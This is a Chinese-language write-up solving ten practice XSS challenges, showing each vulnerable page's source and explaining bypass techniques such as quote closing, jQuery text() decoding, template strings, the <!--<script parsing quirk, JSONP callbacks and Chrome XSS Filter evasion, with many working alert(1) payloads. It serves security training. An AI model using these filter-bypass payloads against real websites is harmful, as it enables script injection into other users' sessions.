0x00 前言

根据N年前的BAT的XSS实例出的10道题目,弹1即可成功。

题目地址时从xsstest1~xsstest10:

http://px1624.sinaapp.com/test/xsstest1/

参考答案:一些BAT的XSS实例(一)

0x01 xsstest1

题目地址:http://px1624.sinaapp.com/test/xsstest1/

查看源码:

1
2
3
4
5
6
<script type="text/javascript">
var x=location.hash;
function aa(x){};
setTimeout("aa('"+x+"')",100);
</script>
Give me xss bypass 1~

这就是一个典型的DOM型XSS。这里source点是location.hash,即获取URL的锚部分(从#号开始的部分),sink点是setTimeout()。

关键绕过点在于闭合引号和括号即可。

下面看3种常用的构造方法。

更多的JS调试技巧可参考:https://www.toolmao.com/342.html

方法一:分析代码并在Console中构造调试

先来看下setTimeout()方法。

setTimeout() 是属于 window 的方法,该方法用于在指定的毫秒数后调用函数或计算表达式。

语法格式可以是以下两种:

1
2
setTimeout(要执行的代码, 等待的毫秒数)
setTimeout(JavaScript 函数, 等待的毫秒数)

我们正常弹框是这样的:

1
2
3
setTimeout("alert(1)",0)

setTimeout(alert(1),0)

根据当前场景,给出一些可在Chrome Console中运行弹框的样式:

1
2
3
4
5
6
7
8
setTimeout("aa('',alert(1),'')",0) // 利用闭合
setTimeout("aa('');alert('1')",0) // 利用闭合
setTimeout("aa('');alert(1)//')",0) // 利用注释

// 等价于
setTimeout("aa('"+"',alert(1),'"+"')",0) // 利用闭合
setTimeout("aa('"+"');alert('1"+"')",0) // 利用闭合
setTimeout("aa('"+"');alert(1)//"+"')",0) // 利用注释

直接给出一些构造成功的payload:

1
2
3
#',alert(1),'
#');alert('1
#');alert(1)//

方法二:JavaScript断点调试

就是在Chrome的Console中打断点看当前变量值。

方法三:基于报错的JS调试

即故意输入特殊字符,导致JS语法错误,从而可以根据错误信息去构造我们的payload。

0x02 xsstest2

题目地址:http://px1624.sinaapp.com/test/xsstest2/

查看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<html>
<head>
<script src="./jquery-3.4.1.min.js"></script>
Give me xss bypass 2~
<div style='display:none' id='xx'>&lt;img src=x onerror=alert(1)&gt;</div>
<input type='button' value='test' onclick='alert("鍝堝搱锛岀偣杩欑帺鎰忔病鍟ョ敤鐨勶紒")'>
<body>
<script>
var query = window.location.search.substring(1);
var vars = query.split("&");
if(vars){
aa(vars[0],vars[1])
}
function aa(x,y){
$("#xx")[x]($("#xx")[y]());
}
</script>
</body>
</html>

同样是DOM型XSS。这里window.location.search是从问号 (?) 开始的 URL(查询部分),然后以’&’符切分内容,最后将传入的前两个参数传到$("#xx")[x]($("#xx")[y]());中执行。

我们知道,常见的JQuery操作DOM的形式为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
/*
text() - 设置或返回所选元素的文本内容
html() - 设置或返回所选元素的内容(包括 HTML 标记)
val() - 设置或返回表单字段的值
*/
$(document).ready(function() {
$("#btn1").click(function() {
alert("值为: " + $("#test1").text());
});
$("#btn2").click(function() {
alert("值为: " + $("#test1").html());
});
$("#btn3").click(function() {
alert("值为: " + $("#test2").val());
});
$("#btn4").click(function() {
alert("值为:" + $("#test3").attr("href"));
});

});

更多的方法可参考:https://m.jb51.net/article/39099.htm

网上一个总结图:

而上面执行的位置就是对id为xx的标签进行了两次DOM操作。我们知道前面img标签处是被HTML编码了,这里就涉及到一个点,就是text()函数会把HTML编码后的代码给解码回来

测试下就知道了:

payload如下,第二个参数必须是text,第一个参数则可以是其他的一些可触发的方法即可:

1
2
3
4
5
6
7
8
9
?html&text
?prepend&text
?append&text
?before&text
?after&text
?constructor&text
?appendTo&text
?insertBefore&text
?insertAfter&text

0x03 xsstest3

题目地址:http://px1624.sinaapp.com/test/xsstest3/

查看源码:

1
2
3
4
5
6
7
8
9
10
Give me xss bypass 3~
<script src="./jquery-3.4.1.min.js"></script>
<script>
$(function test() {
var px = '';
if (px != "") {
$('xss').val('');
}
})
</script>

一看没输入点,应该是后台的代码看不到,比如PHP写的。

这里就推测下JS的px变量是不是就是输入参数:

虽然推测出变量px,但经过折腾发现会过滤<>等特殊字符,且很多闭合的尝试都没成功弹框,原因都在于两处的输入点导致语法不满足就会报错。

后面看了wp,考察点是JavaScript字符串运算符。

payload如下,除了加减乘除,其他的运算符都可以(可参考https://www.w3school.com.cn/js/js_operators.asp):

1
2
3
4
?px='*alert(1)*'
?px=%27%2Balert(1)%2B%27
?px=%27-alert(1)-%27
?px=%27/alert(1)/%27

最后看下作者的源码:

0x04 xsstest4

题目地址:http://px1624.sinaapp.com/test/xsstest4/

查看源码:

1
2
3
4
5
6
7
8
9
10
Give me xss bypass 4~
<script src="./jquery-3.4.1.min.js"></script>
<script>
$(function test() {
var px = '';
if (px != "") {
$('xss').val('');
}
})
</script>

和第三关是一样的,也是px参数,但是将常见运算符这些都过滤了:

然而,因为出题人的疏忽,漏掉了一些运算符,如instanceof、in:

1
2
?px=%27instanceof%20alert(1)instanceof%20%27
?px=%27in%20alert(1)in%20%27

作者的预期解法

这个同步输出的问题,导致我们没有办法直接通过注释符来实现,因为同步输出会导致语法错误,并且这里还过滤了/符号。既然这样,就只能寻找一些前后闭合都一样的来构造,首先想到的是单双引号,这个能够实现将中间部分作为字符串来解析:

但是问题在于,JavaScript中单引号和双引号这样的字符串中间是不能换行的,如果要换行就必须得在行末尾进行转义:

但是此处场景的行末尾不是我们可控的,显然无法在末尾写入\

解题关键在于JavaScript模板字符串:

https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/template_strings

模板字符串中间是可以包含换行的,所以只需要使用模板字符串将中间部分变为字符串解析就可以了。

测试看看,在同步输出的场景确实能够进行闭合字符串利用:

payload如下,注意闭合因为注释掉中间部分剩下后面的)}

1
?px=';`;{alert('1

最后看下作者的源码,就是在第三关的基础上加上了对几乎所有JS运算符的过滤:

0x05 xsstest5

题目地址:http://px1624.sinaapp.com/test/xsstest5/

此题直接访问时看不到源码的,会直接跳转到访问JSONP接口/user.php?callback=Give me xss bypass~,将callback参数的内容直接返回到页面中。

用Burp看到,JSONP接口响应的Content-Type为text/javascript,弹框是没戏的,考察点不在这里,在之前的《JSONP跨域漏洞总结》中有提到过:

回过来,看源码还是有办法的,直接访问view-source:http://px1624.sinaapp.com/test/xsstest5/即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

<html>
<script src="../jquery-3.4.1.min.js"></script>
<Script src="./index.js"></Script>
<head>
<script type="text/javascript">
var orguin = $.Tjs_Get('uin');
var pagenum= $.Tjs_Get('pn');
if(orguin<=0) window.location="./user.php?callback=Give me xss bypass~";
document.write('<script type="text/javascript" src="http://px1624.sinaapp.com/'+orguin+'?'+pagenum+'"><\/script>');
</script>
</head>
<body>
Give me xss bypass 5~
</body>
</html>

这里有个JQuery的Tjs_Get()方法,但是不知道具体定义实现,看到有引入index.js,下载该文件全局搜索,关键代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
/*
...
Tjs_Get 得到地址栏中的参数值 变量分大小写
...
*/

// 得到地址栏中的参数值 变量分大小写
Tjs_Get:function(parmtname){
//var SERVER_TEMP = $.Tjs_HtmlEncode(window.location.search.replace(/.*\?/,"")); //HtmlEncode 进行安全验证


var sl = location.href.indexOf('&');
var hl = location.href.indexOf('#');
var str = '';
if ((sl < 0 || sl > hl) && hl > 0) str = location.hash.substr(1);
else str = location.search.substr(1);

str=str.replace(/%/g,"");
//var SERVER_TEMP = str;
var SERVER_TEMP = $.Tjs_HtmlEncode(str.replace(/.*\?/,"")); //HtmlEncode 进行安全验证

var PAGE_PARMT_ARRAY = SERVER_TEMP.split("&amp;");
if(PAGE_PARMT_ARRAY.length==0) return "";
var value="";
for(var i=0;i<PAGE_PARMT_ARRAY.length;i++){
if(PAGE_PARMT_ARRAY[i]=="") continue;
var GETname = PAGE_PARMT_ARRAY[i].substr(0,PAGE_PARMT_ARRAY[i].indexOf("="));
if(GETname == parmtname){
value = PAGE_PARMT_ARRAY[i].substr((PAGE_PARMT_ARRAY[i].indexOf("=")+1),PAGE_PARMT_ARRAY[i].length);
return value;
break;
}
}
return "";
},

简单点说,就是获取GET方式传入的参数而已。

回到源码处,有个document.write()的DOM操作,其中分别将uin和pn参数的值分别作为script标签src属性值URL的路径和参数部分传入。前面知道JSONP接口传入啥返回JS类的啥,比如http://px1624.sinaapp.com/test/xsstest5/user.php?callback=alert(1)

这样就可以利用这个接口来构造如下payload:

1
?uin=test/xsstest5/user.php&pn=callback=alert(1)

0x06 xsstest6(boss)

题目地址:http://px1624.sinaapp.com/test/xsstest6/

和第五关类似,有个JSONP接口,查看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<html>
<script src="../jquery-3.4.1.min.js"></script>
<Script src="./index.js"></Script>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<script type="text/javascript">
var orguin = $.Tjs_Get('uin');
if(orguin<=0) window.location="./user.php?callback=";
document.write('<script type="text/javascript" src="http://px1624.sinaapp.com/pxpath/'+decodeURIComponent(orguin)+'&'+Math.random()+'"><\/script>');
</script>
</head>
<body>
Give me xss bypass 6~【任意浏览器弹1就算通过】
</body>
</html>

只有一个输入点即uin参数,如果该参数不为空则进行DOM操作写入script标签的src属性值的url路径中拼接起来,期间做了次URL解码操作。

这题公认最难,具体分析过程参考:https://mp.weixin.qq.com/s/MNP1PW0bi0aL7dRr1aa2Tg

这里直接给出payload,仅在旧版Chrome中生效,新版的对location.hash的特殊字符也进行了URL编码,所以导致\u2028\u2029这种换行符的解析失效,从而不能用:

1
2
?#11?\u2028&uin=../test/xsstest5/user.php?callback=alert(1)
?#11?\u2029&uin=../test/xsstest5/user.php?callback=alert(1)

简单地说,目的很简单,就是写入?uid=,但是问号?和百分号%在index.js中被过滤了,此时就可以应用换行符来进行绕过正则的过滤。但是\n\r这些换行符在浏览器中输入会被自动进行URL编码再发起请求导致%被过滤所以无法成功。但除了前面两个换行符,在JS中还支持\u2028\u2029这两个。此外,JSONP接口中限制了字符长度不能大于7个字符,alert(1)是8个字符,所以直接写是不行的。这里有两种思路,一是利用第五题的JSONP接口alert(1),另一种是利用name进行传参,然后利用jq的domxss的特性,进行构造。

0x07 xsstest7

题目地址:http://px1624.sinaapp.com/test/xsstest7/

查看源码:

1
2
3
4
5
6
7
8
9
<script>
var px='';
</script>
give me xss by pass~7
<div style="display:none"></div>
<!--px-->
<script>
'px'
</script>

推测出px参数。尝试前面的方法发现注释符被转义了,没法直接在第一个script标签处完成弹框:

很多人似乎想到第四题,我们可以不可以把其中一部分内容当做模板字符串,但是你会发现还是有区别的,因为第四题的输出点2个位置都在js环境里,而这里是一个在js中一个在html中,所以直接这样肯定是不行的,因为不管你怎么构造,你都会发现script标签里的输出部分最后面的这个单引号没办法解决。

通过测试发现,JS和HTML两个输出点处理的不一样,JS输出点是对特殊字符进行转义,而HTML输出点是进行了HTML实体编码:

题目考察点肯定和前面不同。观察到这里源码中有个<!--px--><script>'px'</script>,看似无用,其实就是出题人的疯狂暗示。这就是考察点:https://www.dazhuanlan.com/2019/10/25/5db1e6beea817/

简单地说,在script标签里面如果遇到了 <!--那么这个的解析优先级会变成最高,如果这个后面再出现 <script> 标签,那么最近的另一个</script>标签就会优先去先闭合这个,从而打破了原先跳不出script标签限制的这个点

这里尝试一下,由于script标签的尖括号被过滤,所以我们在后面加个空格即可、不影响成功解析:

看到红框,在最上面的script标签中插入<!--会导致红框括起来的部分优先级比外部的script标签高,此时在<!--后面插入<script标签会闭合掉原本最上面script标签对应的</script>标签如绿框部分,而最上面的<script>则匹配的-->之后的</script>,从而突破了原本的script标签。

最终payload如下:

1
2
3
4
5
?px=\'-`-alert(1)//<!--<script >
?px=\'-alert(1)`//<!--<script
?px=<!--<script \'-`-alert(1)//
?px=<!--<script \'-alert(1)`//
?px=<!--<script `)/*\'%0aalert(1)%0aalert(`*///

0x08 xsstest8

题目地址:http://px1624.sinaapp.com/test/xsstest8/

查看源码:

1
2
3
4
5
6
7
<script>
var px='';
var px1624='';
</script>
give me xss by pass~8
<div style="display:none"></div>
<input type="hidden" value="">

推测参数为px。测试发现有4个输出点,其中两个在JS中,另外两个在HTML中,其中第一个HTML输出点限制了长度:

测试下过滤点,JS中是对特殊字符进行了转义,而HTML中的则是两个处理方式都不同、一个是HTML编码和转义、另一个是直接输出在html标签的属性值中:

那就在最后一个HTML输出点中搞起,尝试" onxxx=alert(1),先闭合双引号,发现直接被过滤替换为字符串”px_xss”了:

这种思路是没戏的,看下能不能像前面一样利用<!--<script>来跳出script标签限制。由于前面两处JS输出点是同步输出且第一处HTML输出点对尖括号进行了HTML实体编码,因此实际能用的只有最后的那个HTML输出点。

我们直接像前面那样输入构造,然并卵,这里JS中输出点的<!--<script>会把页面中唯一的</script>吃掉,但是由于<!--<script>有多个,因此原本最上面的<script>标签一直未能成功闭合:

既然是因为script标签未闭合导致后面都被当作是标签内的内容导致无法成功弹框,那么就往<!--后面注入个</script>来闭合,虽然有4个输出点,但前面两个JS输出点由于有转义符所以其中的</script>并不会被成功识别解析,而第三个输出点是进行了HTML实体编码也不会被成功解析,但是最后的输出点是原封不动地输出到input标签的value属性值中,通过<!--的特性可使其后的</script>优先级高于input标签而去匹配其前面的<script>标签:

OK,跳出原先的script标签并闭合掉了最上面的<script>标签,此时多了注入的<script>标签来了,这就简单了,payload如下:

1
?px=<!--</script><script >alert(1)</script>

当然这个payload是不能过Chrome的XSS Filter的,虽然最新版的Chrome把XSS Filter去掉了,但低版本的话就没戏了,不通用。

如何通用呢?参考思路是利用了前面看到的将双引号过滤为px_xss字符串来构造的:

1
?px=<!--</script><script >"=alert(1)</script>

为什么这样就可以了?估计很多人肯定一脸懵逼吧。这个要先了解下谷歌xss filter的运行机制,如下图,主要是将输出的代码和URL中的代码进行对比,如果不同就会默认为安全输出。

那么就很好理解了,前面几个人的这个payload,输出和URL是一样的,所以会被xss filter认为是有XSS风险,进行拦截。

ID:香草 的这个,巧妙的利用了此题对双引号过滤为实体字符的策略,这样输出和URL位置就不一样了,所以xss filter就不会进行拦截了。

此题你会发现,上面的答案控制台是会报错的,因为这里等于是重写写入了一个script标签对,然后报错是因为之前的那个script里面语法各种报错了。

0x09 xsstest9

题目地址:http://px1624.sinaapp.com/test/xsstest9/

查看源码:

1
2
3
4
5
6
7
8
9
<script>
var px='';
var px1624='';
</script>
give me xss by pass~9
<div style="display:none"></div>
<div style="display:none"></div>
<!--px-->
<script>'px'</script>

和第八题类似,还是四处输出点,区别就是这里对双引号的过滤方式进行了改变,而且对2处HTML位置的输出点都做了HTML编码,并且同步限制了长度。所以想着用上面的方法直接写入标签,那基本上是不可能的了。

这题思路构造对本人来说过于复杂,就直接看payload:

1
?px=1\'-{a:`}-alert(1)//`}-{a:`${`<!--<script >

简单说下涉及的Tricks:

  • 使用JS模板字符串连接闭合掉无用的数据,如果不行则使用内嵌模板字符串的形式来内嵌掉一些字符串再闭合掉其余的(模板字符串及其嵌套模板参考:https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/template_strings);
  • 使用<!--<script >来跳出原script标签的限制;
  • 遇到大括号同步闭合的问题时,可以想到function(){}if(){}以及{a:1}这几种,从3者的构造灵活度上来看,无疑第三种的这个对象是最合适的,所以我们这里用对象进行构造;

0x0A xsstest10

题目地址:http://px1624.sinaapp.com/test/xsstest10/

查看源码:

1
2
3
4
5
6
7
8
9
10
11
<script>
var px='';
var px1624='';
</script>
give me xss by pass~10
<div style="display:none"></div>
<div style="display:none"></div>
<!--px-->
<script>
"px"
</script>

这题也没搞出来,直接看参考答案吧。

看着好像和第九题差不多,也是4处输出,js中的过滤规则是一样的,不同的是html中第一处的输出将字符限制的只有2个了,第二处没有限制长度。这样的话,即使知道了上面的构造思路,但是在构造上整体还是比第九题要难一些,因为毕竟2个字符长度能做的事情还是比较有限的。

payload:

1
?px=`}\'-{a:`}-alert(1)//`}-{a:`${`${`<!--<script >'

0x0B more

看下更多的payload:

1
2
3
4
5
6
7
xsstest8
?px=\'-{a:`}-alert(1)//</script>`}-{a:`${`<!--<script >
?px=\'-{a:`}-alert(1)//</script><!--<script >`}-{c:`${`

8、9、10通用
?px=`}-alert(1)//</script>`}-{a:`${`\'-{a:`}${`<!-- <script >
?px=`}//</script>1111111`-alert(1)-{a:`${`\'-`}${`<!--<script >

在这10个BAT的XSS实例的解法思路中,我们用到了javascript中的运算符、模板字符串、嵌套模板、正则表达式、换行符、对象等知识。以及用到了断点调试、控制台分析、本地代码映射等方法。